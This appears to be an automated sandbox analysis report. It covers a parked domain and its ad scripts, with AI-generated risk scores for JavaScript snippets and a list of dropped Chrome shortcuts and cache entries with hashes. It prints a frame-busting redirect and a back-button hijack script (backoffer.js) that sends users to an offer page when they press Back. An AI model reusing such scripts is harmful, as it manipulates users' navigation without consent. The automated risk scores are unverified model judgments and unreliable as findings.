URL: http://ww12.ngelit.com/?usid=18&utid=25970526717 Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "No form fields for username or password were found in the text.", "No 'submit' or 'login' button was found in the text.", "The text does not mention or imply the presence of a login form." ] }
ngelit.com River Cruise Packages Bakit 2024 Copyright All Rights Reserved.
URL: https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747 Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code is for Google Tag Manager, which is commonly used for tracking and analytics purposes. It does not exhibit any malicious behavior." }
(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= ' https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f) ; })(window,document,'script','dataLayer','GTM-TR8VQRX');
URL: http://ww12.ngelit.com/?usid=18&utid=25970526717 Model: gpt-4o	```json { "riskscore": 7, "reasons": "The code contains an attempt to redirect the top-level window to the current location, which is a common technique used in phishing attacks to prevent users from navigating away from the malicious page. Additionally, the code includes functionality to track user interactions and send data to a server, which could be used for malicious purposes beyond simple tracking or advertisement." }
var isAdult=false; var containerNames=[]; var uniqueTrackingID='MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw=='; var search=''; var themedata='fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTF8fHx8fHw2NjRmYzg5YzYxZWZhfHx8MTcxNjUwNDczMi40NDMzfGY1MjczYTQ0ZmJkZTRlZDViZTNjMmNiMzczZGVjN2E2NmEwODRlYWZ8fHx8fDF8fDB8MHx8fHwxfHx8fHwwfDB8fHx8fHx8fHx8MHwwfHwwfHx8MHwwfFcxMD18fDF8VzEwPXxkZGExZTc1ZjBjNTczNTBkMmQ3ZjI4YzA5ZDllYzQ2OWM3MGRiMWIwfDB8ZHAtdGVhbWludGVybmV0MDlfM3BofDB8MHx8'; var domain='ngelit.com'; var scriptPath=''; var adtest='off';if(top.location!==location) { top.location.href=location.protocol + '//' + location.host + location.pathname + (location.search ? location.search + '&' : '?') + '_xafvr=NzlmMzA5NDJlZTUyYjQ3MDUwMzY4NjcwMzAzNTljMzMzMmNhOWE1YSw2NjRmYzg5YzZjMzYy'; }var pageLoadedCallbackTriggered = false;var fallbackTriggered = false;var formerCalledArguments = false;var pageOptions = {'pubId': 'dp-teaminternet01','resultsPageBaseUrl': '//' + location.host + '/?ts=','fontFamily': 'arial','optimizeTerms': true,'maxTermLength': 40,'adtest': true,'clicktrackUrl': '//' + location.host + '/track.php?','attributionText': 'Ads','colorAttribution': '#b7b7b7','fontSizeAttribution': 16,'attributionBold': false,'rolloverLinkBold': false,'fontFamilyAttribution': 'arial','adLoadedCallback': function(containerName, adsLoaded, isExperimentVariant, callbackOptions) {if (!adsLoaded) {try {var ele = document.getElementById(container).getElementsByTagName('iframe')[0];var vars = JSON.parse(ele.name.substr(ele.id.length + 1));if (typeof vars[ele.id].type == "string" && vars[ele.id].type == "relatedsearch") {relatedFallback((function () {relatedCallback(vars[ele.id]);}));}} catch (err) {if (!(err instanceof SyntaxError)) {throw err;}}} else if (containerName in containerNames) {var data = {containerName: containerName,adsLoaded: adsLoaded,isExperimentVariant: isExperimentVariant,callbackOptions: callbackOptions,terms: pageOptions.terms};ajaxQuery(scriptPath + "/track.php"+ "?toggle=adloaded"+ "&uid=" + encodeURIComponent(uniqueTrackingID)+ "&domain=" + encodeURIComponent(domain)+ "&data=" + encodeURIComponent(JSON.stringify(data)));}},'pageLoadedCallback': function (requestAccepted, status) {document.body.style.visibility = 'visible';pageLoadedCallbackTriggered = true;if ((status.faillisted === true \|\| status.faillisted == "true" \|\| status.blocked === true \|\| status.blocked == "true" ) && status.error_code != 25) {ajaxQuery(scriptPath + "/track.php?domain=" + encodeURIComponent(domain) + "&caf=1&toggle=block&reason=other&uid=" + encodeURIComponent(uniqueTrackingID));}if (status.errorcode && !status.error_code) {status.error_code = status.errorcode;}if (status.error_code) {ajaxQuery(scriptPath + "/track.php?domain=" + encodeURIComponent(domain) + "&caf=1&toggle=errorcode&code=" + encodeURIComponent(status.error_code) + "&uid=" +
URL: https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747 Model: gpt-4o	```json { "riskscore": 2, "reasons": "The script dynamically loads an external JavaScript file from 'trafficjunky.com', which is a known ad network. While this could potentially be used for tracking or advertisement purposes, it does not inherently indicate malicious behavior. However, loading external scripts always carries some risk, hence a low risk score." }
var mpevt=mpevt\|\|[];(function(){var c="https:"==document.location.protocol?"https://static.trafficjunky.com/js/mp.min.js":"http://static.trafficjunky.com/js/mp.min.js",a=document,b=a.createElement("script");a=a.getElementsByTagName("script")[0];b.type="text/javascript";b.defer=!0;b.async=!0;b.src=c;a.parentNode.insertBefore(b,a)})();
URL: https://www.adsensecustomsearchads.com/afs/ads?adtest=off&psid=7840396037&pcsa=false&channel=000002%2Cbucket011&client=dp-teaminternet09_3ph&r=m&hl=en&rpbu=http%3A%2F%2Fww12.ngelit.com%2F%3Fts%3DfENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTF8fHx8fHw2 Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "No form fields for username or password are present in the text.", "No submit button for the form is present in the text.", "The text does not mention or imply a login form." ] }
ngelit.com River Cruise Packages Bakit 2024 Copyright All Rights Reserved.
URL: http://ww12.ngelit.com/?usid=18&utid=25970526717 Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code does not exhibit any malicious behavior. It simply constructs an array of arguments based on certain conditions and returns it. The code primarily checks for the presence of specific properties and includes them in the arguments array if they exist. This functionality is benign and does not pose any security risks." }
function getLoadFeedArguments() { let arguments = [ pageOptions ]; let possibleArguments = ['adblock', 'adblock1', 'adblock2', 'tcblock', 'searchboxBlock', 'rtblock', 'rsblock', 'searchblock']; for (let i = 0; i < possibleArguments.length; i++) { if (typeof this[possibleArguments[i]] !== 'undefined') { arguments.push(this[possibleArguments[i]]); } } return arguments; }
URL: http://ww12.ngelit.com/?usid=18&utid=25970526717 Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code appears to be configuring UI elements such as a related search block and a search box. There are no indications of malicious behavior such as data exfiltration, unauthorized access, or code obfuscation. The code is straightforward and does not perform any actions that would be considered harmful." }
var tcblock = { // Required and steady 'container': 'tc', 'type': 'relatedsearch', 'colorBackground': 'transparent', 'number': 3, // Font-Sizes and Line-Heights 'fontSizeAttribution': 14, 'fontSizeTitle': 24, 'lineHeightTitle': 34, // Colors 'colorAttribution': '#aaa', 'colorTitleLink': '#0277bd', // Alphabetically 'horizontalAlignment': 'center', 'noTitleUnderline': false, 'rolloverLinkColor': '#01579b', 'verticalSpacing': 10 }; var searchboxBlock = { 'container': 'search', 'type': 'searchbox', 'fontSizeSearchInput': 12, 'hideSearchInputBorder': false, 'hideSearchButtonBorder': true, 'fontSizeSearchButton': 13, 'colorBackground': 'transparent', 'colorSearchButton': '#0b3279', 'colorSearchButtonText': '#fff' };
URL: http://ww12.ngelit.com/?usid=18&utid=25970526717 Model: gpt-4o	```json { "riskscore": 3, "reasons": "The code makes an HTTP GET request to a potentially obfuscated URL ('/ls.php?t=664fc89c&token=' + encodeURI(token)). While the token and URL parameters appear random and could be benign, the obfuscation and lack of clarity about the server's response raise some concerns. However, there is no clear evidence of malicious activity such as data exfiltration or harmful actions based on the provided code." }
var ls = function(xhr, path, token) { xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE) { if (xhr.status >= 200 && xhr.status <= 400) { if (xhr.responseText.trim() === '') { return; } console.log(JSON.parse(xhr.responseText)) } else { console.log('There was a problem with the request.'); } } } xhr.open('GET', path + '/ls.p' + 'hp?t=664fc89c&token=' + encodeURI(token), true); xhr.send(); }; ls(new XMLHttpRequest(), scriptPath, 'dda1e75f0c57350d2d7f28c09d9ec469c70db1b0');
URL: https://www.adsensecustomsearchads.com/afs/ads?adtest=off&psid=7840396037&pcsa=false&channel=000002%2Cbucket011&client=dp-teaminternet09_3ph&r=m&hl=en&rpbu=http%3A%2F%2Fww12.ngelit.com%2F%3Fts%3DfENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTF8fHx Model: gpt-4o	```json { "riskscore": 1, "reasons": "The provided JavaScript code appears to be related to advertisement functionality, specifically handling ad requests and populating ad content. There are no obvious signs of malicious behavior such as data exfiltration, credential stealing, or unauthorized access. The presence of random hexadecimal strings and ad-related JSON data is consistent with typical ad-serving scripts. Therefore, the risk is minimal." }
window.AFS_AD_REQUEST_RETURN_TIME_ = Date.now();window.IS_GOOGLE_AFS_IFRAME_ = true;function populate(el) { var adBlock = document.getElementById("adBlock"); adBlock.innerHTML += el;} var IS_GOOGLE_AFS_IFRAME_ = true; var ad_json = {"caps":[{"n":"queryId","v":"oMhPZvCxD6uijuwPiPui6Qk"},{"n":"popstripeRs","v":"#1F8A70,#BEDB39,#FFE11A,#FD7400,#004358"}],"sbs":[{"fn":"slave-1","afdt":"ChMIhpS7uO6khgMVnoX9Bx0cwws8EmsBlLqpj4Q4m_ULqg9b86q9wfF-yKETL3RSIASID44sldjK9g9ohSw1szDy-Z_GIME4kBRqoriJVDiU8GixtrGShr2RowIy0NuCz6kuRUs_ag5wqryWlY1VKF4zNHRaV4E3iNsom8_PHeajnQ","label":"Search Ads"}],"rs_attr":{"t":"Related Links","u":""},"gd":{"ff":{"fd":"swap","icelae":true,"ctclt":"","eiell":true,"epcui":true,"pcsbs":"44","pcsbp":"8","pcsd":"1"},"cd":{"pid":"dp-teaminternet09_3ph","eawp":"partner-dp-teaminternet09_3ph","qi":"oMhPZvCxD6uijuwPiPui6Qk"},"pc":{"cucai":true,"cgab":true,"ct":true},"dc":{"d":true}}};

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu May 23 21:51:23 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9722109190434662
Encrypted:	false
SSDEEP:	48:8MdOTqqNkHeiidAKZdA19ehwiZUklqehSy+3:8RzfY1y
MD5:	6F998CD3A25FB163D643180AB3CD8AEC
SHA1:	A0DBCA6D5870BC6EF999FCDE6B00D45C2DFD0B23
SHA-256:	3710CC21C7B45001FA46954604147EE436951FE2183EDB28A8CE535E22412CAB
SHA-512:	BF740B8D26045D4D8ABE9038C99E3C3B6B968219562B06161FD1731C7B51CC9A9335065239A49DDDCBBB46D46096FE6F705A3089DC8798A833E6B7A54C231E05
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........c...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Xj.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Xj.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Xj.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Xj............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Xl............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........W-`6.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu May 23 21:51:22 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.984418993761023
Encrypted:	false
SSDEEP:	48:86dOTqqNkHeiidAKZdA1weh/iZUkAQkqehly+2:8zzfy9Q4y
MD5:	E59C0A52A71992DB9DD3071CD635AFD2
SHA1:	6B550E9C8E6D825631120BF1542A3C3ED86F4F2D
SHA-256:	CDD4AB5396BD5EA562C2CB5BF6E2644FF49D2514F567063501FD93E74C315FDB
SHA-512:	917C01081CCC17C26FC2D1636AB89613700847537A8F38A986C075316A5607DBC95015D90B03AF8E26A1950503B9B882F16FBB929B5A40E2581074395E2DE736
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....~h..c...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Xj.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Xj.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Xj.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Xj............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Xl............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........W-`6.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.001406136603555
Encrypted:	false
SSDEEP:	48:8xDdOTqqsHeiidAKZdA14tseh7sFiZUkmgqeh7sry+BX:8xgzt6npy
MD5:	9C0EE1680691375CA57035C60DCDFD4C
SHA1:	42581FF7A4251F50874C486D1D60D5BA9682B7E5
SHA-256:	5DB75D7B4BD5C588B30AAEC5471DDA57758F2A4F1280D50C333C43FEAAFBD7AB
SHA-512:	6243E48714DAFD69185D5066F1E3096AEEF769FC32A059AEB052A800076D4A7E3F1A137A0F50919D940DEC5E309D70707DAACA24947BABBEB5EA9743B6A6AD07
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Xj.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Xj.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Xj.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Xj............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........W-`6.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu May 23 21:51:22 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.986606467374438
Encrypted:	false
SSDEEP:	48:8/dOTqqNkHeiidAKZdA1vehDiZUkwqehRy+R:8szfZTy
MD5:	186BE2BD02CC6F1D17DAD520055AEA2E
SHA1:	C7EBDADA87D15174FDDF7FDF3FE566EF91C21DAC
SHA-256:	2CFC82DD8E837C30AA45B8525633B3073E0D6F2A0840E84B1C8015727628A99D
SHA-512:	83913065C79286C6BF29A14E81FE94A99E043CEB27F8A26F88C93D0AD08CE5ED1D78548ECA46C1142B81EB2D6157F380A4AA2AED9A6895DC92A65E9AB86CBF27
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........c...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Xj.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Xj.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Xj.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Xj............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Xl............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........W-`6.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu May 23 21:51:22 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9760626909513936
Encrypted:	false
SSDEEP:	48:81dOTqqNkHeiidAKZdA1hehBiZUk1W1qehfy+C:8mzfp9/y
MD5:	1EDE00C84191203FD04F71A53186D047
SHA1:	24500E7B0A0BBF375FBCB4C776D2834B1A483023
SHA-256:	E4B9DA7227B368973716E23E87BC032D5C3143B6A170F0656905F79082A6B334
SHA-512:	170F80CB77579B8800A46AF27D0FC0DAFD2C9F436BDD42FB3B53237CBB8E43BBD65F39BB17263D22654219E8158323105CE6A3B931441A3A50475D83485ACAD9
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......c...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Xj.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Xj.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Xj.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Xj............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Xl............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........W-`6.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu May 23 21:51:22 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.988991523778935
Encrypted:	false
SSDEEP:	48:8SdOTqqNkHeiidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbpy+yT+:8bzf1T/TbxWOvTbpy7T
MD5:	84E8D893F619BFCEC8544677C36479F0
SHA1:	091A08AA0AA44D7293DC8D648C988AE71D2A3E2D
SHA-256:	1B4490871B4C1688C1F562DE86DFB81314A37DB3F61C9EE8FA3D9BBE0C0F4EA0
SHA-512:	F6C196B40087DA943A41EC1659C1B6C28F04B37FB9D657995A42F0D2AA7DE578DD79AAA390733EF3282DAC7BAE9674E139D16ED8F82B6A9C5B632323CA9FA3B9
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....`..c...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Xj.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Xj.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Xj.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Xj............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Xl............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........W-`6.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	4286
Entropy (8bit):	5.154606666377356
Encrypted:	false
SSDEEP:	96:Z4iyi9iJiai5i5Pi1iJi/iafiZaMi9iC1ikiMQiTiaTVgbPepwpx:Z4x2yFSmiCkLfNMet1nGQNTux
MD5:	C62F95EC3CA566BE8BE396BCA24C92A5
SHA1:	51A6FF0E1A233A612AC33283BBB3D39C8F5E7644
SHA-256:	B91D02BA417BB7DEFD5B66E7B6D576EDD428DB676D389A417DFFAF7F01FC0956
SHA-512:	D15A87F51B06241AE83B85B60901F768B716F4F38901FD997E9A8029618188C75B24AA685999E1A016B458E4F2BDA838C49F85513F59AABB72628ACC5508F4CD
Malicious:	false
Reputation:	low
URL:	https://cdn.jmpcdn.com/assets/3420/images/6.ico
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................U?..T>.BR;.yQ:.tP8.3........................................................................................................VA..U@..T>..R;..Q9..O7..N5.M4..............................................................................................WC..WB..U@..T>..R;..Q9..O7..N5..L3..L2......................................................................................YE.!XD..WB..U@..T>..R;..Q9..O7..N5..L3..K1..J0..............................................................................ZG."ZF..XD..WB..U@..T>..R;..Q9..O7..N5..L3..K1..I/..I.......................................................................\I..[H..ZF..XD..WB..U@..T>..R<..Q9..O7..N5..L3..K1..I/..H-..G,..............................................................]K..\J..[H..ZF

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2247)
Category:	downloaded
Size (bytes):	190276
Entropy (8bit):	5.672793333213393
Encrypted:	false
SSDEEP:	3072:x7GweXBcXyGqPDq7kX38XqXGR7LGtvJUjXjM:xz4BG69X07LYvebw
MD5:	A9BF14A677599C1305BF2F0B46028B7D
SHA1:	E21892D64F2CD452D866FEA8D1422DF877BFDABA
SHA-256:	B5F128A3EAE867A0CA97502D6A753F21770B33860197A62844ECC9C86952355B
SHA-512:	9279B95894EB27C3D8B865225451279937C1F1F938D4E430D6727F6FDA1872FF4EC0552AB7717B6CC077CDDE2F601E4FEB4AEAD840EF13BB8F9FA8577A217906
Malicious:	false
Reputation:	low
URL:	https://www.adsensecustomsearchads.com/adsense/domains/caf.js?pac=0
Preview:	if(!window['googleNDT_']){window['googleNDT_']=(new Date()).getTime();}(function() {window.googleAltLoader=3;var sffeData_={service_host:"www.adsensecustomsearchads.com",hash:"5603203904245007042",packages:"domains",module:"ads",version:"1",m:{cei:"17300003,17301431,17301433,17301436",ah:true,uatm:500,ecfc2:true,llrm:1000,lldl:"bS5zZWFycy5jb20=",abf:{"_disableAdRequestForNewConsentStrategy":true,"_enableNewConsentStrategy":true,"_fixCtcLinksOnIos":true,"_googEnableQup":true,"_switchGwsRequestToUseAdsenseDomain":true,"_useServerProvidedDomain":true,"_waitOnConsentForFirstPartyCookie":true,"enableEnhancedTargetingRsonc":true,"enableNonblockingSasCookie":true},mdp:1800000,ssdl:"YXBwc3BvdC5jb20sYmxvZ3Nwb3QuY29tLGJyLmNvbSxjby5jb20sY2xvdWRmcm9udC5uZXQsZXUuY29tLGhvcHRvLm9yZyxpbi5uZXQsdHJhbnNsYXRlLmdvb2csdWsuY29tLHVzLmNvbSx3ZWIuYXBw",cdl:false,cdh:""}};var m;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da="function"==typeof Object.definePrope

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	660
Entropy (8bit):	4.401762026171058
Encrypted:	false
SSDEEP:	6:2LGNFIs5W/Fg8J2Wvn1FiCzWF6FgGFAIAGoeBRJjRoV5RNeW/F/Uy8kW/FqRU1FL:2xEWaYkf0JtoV8WrWE+oVyCQW7zBJ6B
MD5:	E7E1DC07852A36F89E4BE03AA3787316
SHA1:	0DC3F8E7EB943AF093CF8F4600FCF0E421891025
SHA-256:	33B8A5C4F883A3A775162D3C5287FE94BC4B22A86FE8B52FCB5AA615D2FFE388
SHA-512:	BDC3B3B78E10CD9AFB54E3CD7E29C3849BE0A581714845A8A79A8F1A5EDE467C215A1A2F95AF5F712F17BD37404882AF503FC2F2B61E88AC356FF61F058AC49F
Malicious:	false
Reputation:	low
URL:	https://cdn.jmp-assets.com/assets/1387/js/backoffer.js
Preview:	(function(w,d){.. var targetLocation=function(){.. var url='';.. if(w.backOfferUrl){.. url=w.backOfferUrl}.. else{.. return}.. w.history&&w.history.pushState&&w.history.pushState(null,null,w.location);.. w.addEventListener&&w.addEventListener('popstate',function(){.. w.location=url}.. ,!1)};.. (function(){.. if(w.addEventListener){.. w.addEventListener('pageshow',function(){.. setTimeout(targetLocation,0)}.. ,!1)}.. else{.. setTimeout(targetLocation,0)}.. }.. ())}.. (window,document));..

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.202819531114783
Encrypted:	false
SSDEEP:	3:YWQRAW64:YWQmq
MD5:	7363E85FE9EDEE6F053A4B319588C086
SHA1:	A15E2127145548437173FC17F3E980E3F3DEE2D0
SHA-256:	C955E57777EC0D73639DCA6748560D00AA5EB8E12F13EBB2ED9656ADD3908F97
